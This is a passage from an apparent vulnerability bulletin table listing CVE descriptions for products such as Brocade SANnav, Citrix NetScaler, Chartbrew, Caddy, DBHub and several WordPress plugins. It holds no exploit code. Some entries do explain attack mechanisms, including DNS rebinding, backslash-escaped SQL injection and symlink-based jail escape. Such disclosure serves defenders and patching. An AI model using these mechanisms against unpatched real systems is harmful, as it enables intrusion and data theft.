&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;ash-project--ash&lt;/td&gt;
&lt;td&gt;Improperly Controlled Modification of Dynamically-Determined Object Attributes vulnerability in ash-project ash allows a user to set the value of a private action argument on the bulk destroy and bulk update paths. Action arguments declared with public?: false are meant to be set only by trusted server-side code (for example via Ash.Changeset.set_private_argument/3) and must not be settable from end-user input. CVE-2026-55736 fixed the non-bulk changeset path to strip private arguments from user-supplied parameter maps, but the bulk destroy and bulk update paths were not covered. Ash.Actions.Destroy.Bulk.base_changeset/5 and Ash.Actions.Update.Bulk.base_changeset/5 match every key in the caller-supplied parameter map against all of the action&#039;s arguments with no public? check, then apply the matches to the base changeset. A caller who can submit parameters to a bulk destroy or bulk update action (for example through AshJsonApi, AshGraphql, or a controller that forwards request parameters to Ash.bulk_destroy/4 or Ash.bulk_update/4) can therefore set any private argument of that action, including one referenced by an arg(...) template in the action&#039;s changes or validations. Depending on how the application uses the argument (for example an acting_user_id driving authorization or record ownership, or audit metadata), this can lead to an integrity violation or privilege escalation. The fix requires public? in the argument matching on both bulk paths; private arguments remain settable server-side via the :private_arguments option. This issue affects ash: from 2.17.15 before 3.33.11.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-93477&quot; target=&quot;_blank&quot;&gt;CVE-2026-93477&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bento4--Bento4 1.6.0.0&lt;/td&gt;
&lt;td&gt;Bento4 1.6.0.0 contains an integer underflow vulnerability in AP4_AvccAtom::Create() and AP4_HvccAtom::Create(). A specially crafted MP4 file containing an avcC or hvcC atom with a declared size smaller than the atom header size can cause the payload-size calculation to wrap to a large unsigned value. The resulting invalid buffer allocation and copy operations can cause application termination, leading to denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88376&quot; target=&quot;_blank&quot;&gt;CVE-2026-88376&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bento4--Bento4 1.6.0.0&lt;/td&gt;
&lt;td&gt;Bento4 1.6.0.0 contains an integer underflow vulnerability in the avcC and hvcC configuration atom parsers. A specially crafted MP4 file containing an atom with a declared size smaller than AP4_ATOM_HEADER_SIZE can cause AP4_AvccAtom::Create() or AP4_HvccAtom::Create() to underflow the payload-size calculation. The resulting oversized buffer operation can cause invalid or NULL pointers to be passed to the AP4_DataBuffer copy path, resulting in application termination and denial of service.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88377&quot; target=&quot;_blank&quot;&gt;CVE-2026-88377&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Better Payment--Better Payment&lt;/td&gt;
&lt;td&gt;The Better Payment WordPress plugin before 2.3.4 does not validate the submitted payment amount server-side against the merchant&#039;s configured fixed price before building the gateway charge, allowing unauthenticated users to pay an arbitrary reduced amount for a fixed-price item.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77765&quot; target=&quot;_blank&quot;&gt;CVE-2026-77765&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Bluff Post--Bluff Post&lt;/td&gt;
&lt;td&gt;The Bluff Post WordPress plugin through 1.1.1 does not sanitise and escape parameters before using them as identifiers in a SQL query, allowing unauthenticated attackers to append additional SQL and extract sensitive information from the database.&lt;/td&gt;
&lt;td&gt;2026-09-26&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-89237&quot; target=&quot;_blank&quot;&gt;CVE-2026-89237&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Booking Manager--Booking Manager&lt;/td&gt;
&lt;td&gt;The Booking Manager WordPress plugin before 2.1.21 does not sanitize and escape values taken from a fetched external iCalendar feed before using them in a SQL query, allowing authenticated users with Author-level access and above to perform SQL injection attacks by importing a feed they control.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91024&quot; target=&quot;_blank&quot;&gt;CVE-2026-91024&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Booking Manager--Booking Manager&lt;/td&gt;
&lt;td&gt;The Booking Manager WordPress plugin before 2.1.21 does not verify that a request to modify a user&#039;s Booking Manager WordPress plugin before 2.1.21-specific settings targets the requesting user&#039;s own account, allowing any authenticated user with subscriber-level access and above to create or overwrite the Booking Manager WordPress plugin before 2.1.21&#039;s per-user settings on arbitrary users, including administrators.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-91025&quot; target=&quot;_blank&quot;&gt;CVE-2026-91025&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;A logic flaw in Java cache key handling object comparison handling could lead to improper identifier resolution when processing specific user account structures. The issue has been remediated by updating the internal comparison routines to ensure accurate object evaluation and prevent potential identity mismatch conditions.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14441&quot; target=&quot;_blank&quot;&gt;CVE-2026-14441&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;An information exposure vulnerability in the job scheduling component of SANnav allows sensitive credentials to be written to application logs in plain text. When scheduled support save jobs or related operational tasks are executed, sensitive parameters including external server passwords and archive protection keys are logged without proper masking. A local or authenticated user with access to application logs or support bundles can view these cleartext credentials, potentially leading to unauthorized access to remote backup targets or protected archives.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14442&quot; target=&quot;_blank&quot;&gt;CVE-2026-14442&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Incomplete log sanitization during bulk IPsec policy collection in Brocade SANnav versions before 3.0.1a permit extension switch pre-shared keys to be written to system logs. Individuals with read access to container logs or support archives can obtain these keys, leading to the potential compromise of encrypted network tunnels.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-14443&quot; target=&quot;_blank&quot;&gt;CVE-2026-14443&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Insecure access controls on internal service ports in Brocade SANnav versions before 3.0.1a allow local, non-administrative host users to communicate directly with backend management services. A local attacker can leverage this exposed access to transmit commands to connected Fabric OS switches under the security context of the SANnav management user.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82368&quot; target=&quot;_blank&quot;&gt;CVE-2026-82368&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Insufficient input sanitization of shell metacharacters in the Brocade SANnav CLI scripting component permits authenticated users to break out of restricted execution contexts on managed switches. An attacker with command execution permissions can leverage this flaw to run unauthorized shell commands across target fabric switches, bypassing command allow-lists and obtaining full administrative switch access. This vulnerability affects all Brocade SANnav versions before 3.0.1a.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82369&quot; target=&quot;_blank&quot;&gt;CVE-2026-82369&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Unauthenticated remote command injection in the Brocade SANnav orchestrator HTTP service permits network-adjacent attackers to execute arbitrary administrative switch CLI commands and issue container management instructions. This could allow an attacker to alter Fibre Channel fabric switch configurations or manipulate application container runtimes. This vulnerability affects Brocade SANnav versions before 3.0.1a.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82370&quot; target=&quot;_blank&quot;&gt;CVE-2026-82370&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Plaintext exposure of sensitive authentication data in Brocade SANnav discovery service log files enables individuals with file read access to retrieve administrative switch credentials and active session tokens. An attacker with access to system logs or support bundles can leverage exposed authentication details to compromise managed network infrastructure and access active application sessions. This vulnerability affects Brocade SANnav versions before 3.0.1a.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82371&quot; target=&quot;_blank&quot;&gt;CVE-2026-82371&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Improper handling of sensitive data during IPsec policy creation and modification in Brocade SANnav versions before 3.0.1a results in pre-shared keys being recorded in application logs. Individuals with read access to system log files or support bundles can view these credentials, leading to the potential exposure of keys used to secure network tunnels.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-82372&quot; target=&quot;_blank&quot;&gt;CVE-2026-82372&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Brocade--SANnav&lt;/td&gt;
&lt;td&gt;Incomplete property masking in the SANnav logging subsystem permits SNMP authentication and privacy passwords to be recorded in application logs under specific configuration conditions. Individuals with read access to system logs or support bundles can retrieve these credentials, leading to unauthorized read or management access to monitored switch environments&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-85417&quot; target=&quot;_blank&quot;&gt;CVE-2026-85417&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bsv-blockchain--@bsv/wallet-toolbox&lt;/td&gt;
&lt;td&gt;`@bsv/wallet-toolbox` provides BRC-100 wallet signing and storage components, while `@bsv/wallet-toolbox-client`&amp;nbsp;and `@bsv/wallet-toolbox-mobile`&amp;nbsp;provide client-focused distributions for standard and mobile applications using wallet storage services. A vulnerability in these packages causes transactions created through a remote `StorageClient` to trust output locking scripts returned by the storage provider without verifying that they match the outputs requested by the caller. A malicious or compromised storage provider can substitute a recipient script or inject an additional output, causing the wallet to sign and broadcast a transaction that redirects funds while the application and user interface continue to display the intended recipient. Source and npm publication history indicate that stable versions `@bsv/wallet-toolbox` and `@bsv/wallet-toolbox-client` from 1.1.47 through 2.3.3, and `@bsv/wallet-toolbox-mobile` from its initial 1.3.21 release through 2.3.3, are affected. All three packages are patched in version 2.4.0. Applications unable to upgrade should avoid remote `StorageClient` providers, use local storage, or independently verify every transaction output&#039;s locking script and value against the original request before signing&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-56744&quot; target=&quot;_blank&quot;&gt;CVE-2026-56744&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;bytebase--dbhub&lt;/td&gt;
&lt;td&gt;DBHub is a database MCP server for Postgres, MySQL, SQL Server, Oracle, MariaDB, SQLite. Versions prior to 0.22.5 expose an unauthenticated HTTP MCP endpoint when started with the documented HTTP transport mode, for example `--transport http --port 8080`. The HTTP server attempts to protect browser-origin access by checking whether the `Origin` hostname equals the `Host` hostname, then reflecting the validated `Origin` into `Access-Control-Allow-Origin`. This does not stop DNS rebinding. After an attacker-controlled hostname rebinds to a victim-accessible DBHub HTTP server, both `Origin` and `Host` can contain the attacker-controlled hostname, so DBHub accepts the request and dispatches MCP tool calls. As a result, a malicious website can deterministically invoke DBHub MCP tools from the victim&#039;s browser without prompt injection or model involvement. With the default demo configuration this can read and write the demo SQLite database; with a real configured database, the same primitive can read, enumerate, and potentially write database contents depending on DBHub&#039;s configured tool permissions and database credentials. Version 0.22.5 fixes the issue.&lt;/td&gt;
&lt;td&gt;2026-09-24&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61742&quot; target=&quot;_blank&quot;&gt;CVE-2026-61742&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;caddyserver--caddy&lt;/td&gt;
&lt;td&gt;Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/replacer.go, resolving http.request.body reads the complete request body with an unbounded io.Copy before request-body middleware limits apply, allowing memory exhaustion and process termination.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92284&quot; target=&quot;_blank&quot;&gt;CVE-2026-92284&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;caddyserver--caddy&lt;/td&gt;
&lt;td&gt;Caddy is an extensible server platform that uses TLS by default. In version 2.11.3 and earlier, in modules/caddyhttp/fileserver/staticfiles.go, fileHidden() uses case-sensitive filepath.Match checks, so case variants can bypass hide rules on case-insensitive filesystems or when mixed-case paths coexist and expose files intended to be hidden.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92700&quot; target=&quot;_blank&quot;&gt;CVE-2026-92700&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chartbrew--chartbrew&lt;/td&gt;
&lt;td&gt;Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew&#039;s runQuery() implementation in server/modules/ai/orchestrator/tools/runQuery.js attempts to enforce read-only database access with a blocklist containing only seven SQL keywords. An authenticated user with AI feature access can submit dangerous statements or database functions that are absent from the read-only keyword blocklist, causing them to execute without SQL injection or keyword-obfuscation techniques. Depending on the database engine, configuration, and database-user privileges, this can expose or write files, access internal network resources, change database privileges, execute commands, or alter data. This issue is fixed in version 5.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61851&quot; target=&quot;_blank&quot;&gt;CVE-2026-61851&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chartbrew--chartbrew&lt;/td&gt;
&lt;td&gt;Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.2, Chartbrew&#039;s runQuery() implementation in server/modules/ai/orchestrator/tools/runQuery.js interpolates the AI tool&#039;s row_limit parameter into a SQL LIMIT clause without runtime integer validation. The read-only keyword check runs before this value is appended, so an authenticated user who can influence a model-generated non-integer row_limit can add SQL that bypasses the earlier check. Successful exploitation can execute arbitrary statements against the connected database, including reading or changing data and, where database permissions permit, accessing files or executing operating-system commands. This issue is fixed in version 5.2.2.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-61852&quot; target=&quot;_blank&quot;&gt;CVE-2026-61852&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chartbrew--chartbrew&lt;/td&gt;
&lt;td&gt;Chartbrew is an open-source web application that can connect directly to databases and APIs and use the data to create charts. Prior to 5.2.3, Chartbrew&#039;s ClickHouse protocol in server/sources/plugins/clickhouse/clickhouse.protocol.js calls applySqlVariables() from server/sources/shared/sql/sql.variables.js without enabling the escapeBackslash option. For a ClickHouse-backed chart with variable binding, an attacker can supply a backslash before a quote so quote doubling does not keep the value within its intended SQL string literal. Public dashboards can expose this path without authentication, and successful exploitation can execute arbitrary ClickHouse SQL to disclose data or, when the database configuration permits, access files or internal network resources. This issue is fixed in version 5.2.3.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-65980&quot; target=&quot;_blank&quot;&gt;CVE-2026-65980&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Checkmk GmbH--Checkmk&lt;/td&gt;
&lt;td&gt;Improper handling of highly compressed data (data amplification) in Checkmk &amp;lt;2.5.0p14, &amp;lt;2.4.0p37, &amp;lt;2.3.0p51 and 2.2.0 (EOL) allows an attacker who controls a host registered for push mode to exhaust the memory of the agent receiver by sending a small zlib compressed payload that decompresses to an arbitrary size.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-77021&quot; target=&quot;_blank&quot;&gt;CVE-2026-77021&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Checkmk GmbH--Checkmk&lt;/td&gt;
&lt;td&gt;Improper neutralization of newlines in filter values in the monitoring host and service list APIs in Checkmk &amp;lt;2.5.0p14 allows an authenticated user to inject additional Livestatus query headers, bypassing object visibility restrictions in count queries to infer information about hosts and services outside their contact groups and occupying web server and Livestatus workers for an attacker-controlled duration.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-90990&quot; target=&quot;_blank&quot;&gt;CVE-2026-90990&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Checkmk GmbH--Checkmk&lt;/td&gt;
&lt;td&gt;Insufficiently protected credentials in the host and folder configuration endpoints of the REST API in Checkmk &amp;lt;2.5.0p15, &amp;lt;2.4.0p37, &amp;lt;2.3.0p51 and 2.2.0 (EOL) allows an authenticated user who may view a host&#039;s configuration to read stored SNMP community strings, SNMPv3 auth and privacy pass phrases and IPMI passwords in clear text from GET responses, although the setup GUI never displays these values.&lt;/td&gt;
&lt;td&gt;2026-09-22&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-92882&quot; target=&quot;_blank&quot;&gt;CVE-2026-92882&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;chofstede--ansible_jailexec&lt;/td&gt;
&lt;td&gt;Ansible FreeBSD Jail Connection Plugin is an Ansible connection plugin for FreeBSD Jails via jexec. Through version 1.3.0, the jailexec connection plugin&#039;s put_file resolved a transfer&#039;s destination to a path on the jail host ( + ) and ran mkdir -p and mv there as root on the host. Those commands follow symbolic links, and the path was operated on outside the jail, so a symlink existing inside the jail was followed by the host-side, root-privileged mv. A party controlling content inside a managed jail (the jail&#039;s root, or any process able to create a symlink in a directory an Ansible task later writes to) can therefore cause an arbitrary root-owned write on the host, outside the jail - a full jail escape. Arbitrary root-owned host writes are readily escalated to host compromise (e.g. cron, rc.d, authorized_keys). Preconditions for this vulnerability are that the operator runs a copy/template/fetch-style task (anything using put_file) against the jail, and the attacker can place a symlink inside the jail at or above the task&#039;s destination before the transfer runs. This issue has been fixed in version 2.0.0.&lt;/td&gt;
&lt;td&gt;2026-09-21&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-55074&quot; target=&quot;_blank&quot;&gt;CVE-2026-55074&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Ciena--Navigator NCS&lt;/td&gt;
&lt;td&gt;Ciena Navigator Network Control Suite (NCS) contains an information exposure vulnerability in an event-streaming API that does not properly enforce authentication. An unauthenticated attacker with network access to the affected service could access the event stream and potentially obtain sensitive information.&lt;/td&gt;
&lt;td&gt;2026-09-25&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-5267&quot; target=&quot;_blank&quot;&gt;CVE-2026-5267&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Cinnamon AI--Kotaemon&lt;/td&gt;
&lt;td&gt;Cinnamon&#039;s Kotaemon (all versions up to and including v0.12.0) multi-user chat interface contains multiple vulnerabilities due to incorrect authorization and improper access controls. There are four handler methods in `libs/ktem/ktem/pages/chat/control.py` that load a Conversation record by its ID without comparing the requester&#039;s `user_id` to the conversation&#039;s owner `Conversation.user`. This allows any authenticated user to perform the following actions: 1. Read other user&#039;s chat transcripts, RAG retrieval history, AI-generated plots, and chat suggestions. 2. Permanently delete another user&#039;s conversation. 3. Rename another user&#039;s conversation. 4. Overwrite another user&#039;s conversation&#039;s chat suggestion list.&lt;/td&gt;
&lt;td&gt;2026-09-23&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-86867&quot; target=&quot;_blank&quot;&gt;CVE-2026-86867&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Improper input validation vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to&amp;nbsp;an unauthenticated attacker to execute arbitrary commands.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88771&quot; target=&quot;_blank&quot;&gt;CVE-2026-88771&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23&amp;nbsp;leading to Remote Code Execution or Denial of Service&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88772&quot; target=&quot;_blank&quot;&gt;CVE-2026-88772&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Inconsistent interpretation of HTTP requests (&#039;HTTP Request/Response smuggling&#039;) vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1-37.279 and NDcPP; Gateway: before 14.1-73.37 FIPS and before 13.1-64.23.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88773&quot; target=&quot;_blank&quot;&gt;CVE-2026-88773&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading to a feature policy bypass due to improper HTTP URL based expression usage.&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88774&quot; target=&quot;_blank&quot;&gt;CVE-2026-88774&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Memory overflow vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23 leading&amp;nbsp;Memory overflow vulnerability leading to unpredictable or erroneous behavior or Denial of Service&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88775&quot; target=&quot;_blank&quot;&gt;CVE-2026-88775&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
&lt;td&gt;Memory overflow vulnerability vulnerability in Citrix NetScaler ADC and Citrix NetScaler Gateway. This issue affects ADC: before 14.1-73.37, before 13.1-64.23, before 14.1-73.37 FIPS, and before 13.1.37.279 FIPS and NDcPP; Gateway: before 14.1-73.37 and before 13.1-64.23&amp;nbsp;&amp;nbsp;leading to unpredictable or erroneous behavior or Denial of Service&lt;/td&gt;
&lt;td&gt;2026-09-27&lt;/td&gt;
&lt;td width:&gt;not yet calculated&lt;/td&gt;
&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-88776&quot; target=&quot;_blank&quot;&gt;CVE-2026-88776&lt;/a&gt;&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td class=&quot;vendor-product&quot;&gt;Citrix NetScaler--ADC&lt;/td&gt;
